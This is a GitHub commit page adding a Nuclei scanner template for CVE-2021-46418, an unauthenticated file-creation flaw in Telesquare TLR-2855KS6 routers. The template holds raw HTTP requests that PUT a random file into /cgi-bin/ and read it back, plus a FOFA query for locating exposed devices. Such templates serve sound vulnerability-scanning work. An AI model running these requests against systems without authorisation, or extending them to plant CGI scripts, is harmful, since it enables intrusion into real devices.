-
Notifications
You must be signed in to change notification settings - Fork 2.4k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #9494 from projectdiscovery/CVE-2021-46418
Create CVE-2021-46418.yaml
- Loading branch information
Showing
1 changed file
with
49 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,49 @@ | ||
id: CVE-2021-46418 | ||
|
||
info: | ||
name: Telesquare TLR-2855KS6 - Arbitrary File Creation | ||
author: DhiyaneshDK | ||
severity: high | ||
description: | | ||
An unauthorized file creation vulnerability in Telesquare TLR-2855KS6 via PUT method can allow creation of CGI scripts. | ||
reference: | ||
- http://packetstormsecurity.com/files/166674/Telesquare-TLR-2855KS6-Arbitrary-File-Creation.html | ||
- https://github.com/ARPSyndicate/cvemon | ||
- https://nvd.nist.gov/vuln/detail/CVE-2021-46418 | ||
classification: | ||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N | ||
cvss-score: 7.5 | ||
cve-id: CVE-2021-46418 | ||
epss-score: 0.0528 | ||
epss-percentile: 0.92891 | ||
cpe: cpe:2.3:o:telesquare:tlr-2855ks6_firmware:-:*:*:*:*:*:*:* | ||
metadata: | ||
verified: true | ||
max-request: 1 | ||
vendor: telesquare | ||
product: tlr-2855ks6_firmware | ||
fofa-query: product=="TELESQUARE-TLR-2855KS6" | ||
tags: packetstorm,cve,cve2021,telesquare,intrusive | ||
|
||
variables: | ||
filename: "{{rand_base(6)}}" | ||
|
||
http: | ||
- raw: | ||
- | | ||
PUT /cgi-bin/{{filename}}.txt HTTP/1.1 | ||
Host: {{Hostname}} | ||
{{randstr}} | ||
- | | ||
GET /cgi-bin/{{filename}}.txt HTTP/1.1 | ||
Host: {{Hostname}} | ||
matchers-condition: and | ||
matchers: | ||
- type: dsl | ||
dsl: | ||
- 'status_code_1 == 201' | ||
- 'contains(server_1, "lighttpd") && contains(content_type_2, "text/plain")' | ||
- 'contains(body_2, "{{randstr}}")' | ||
condition: and |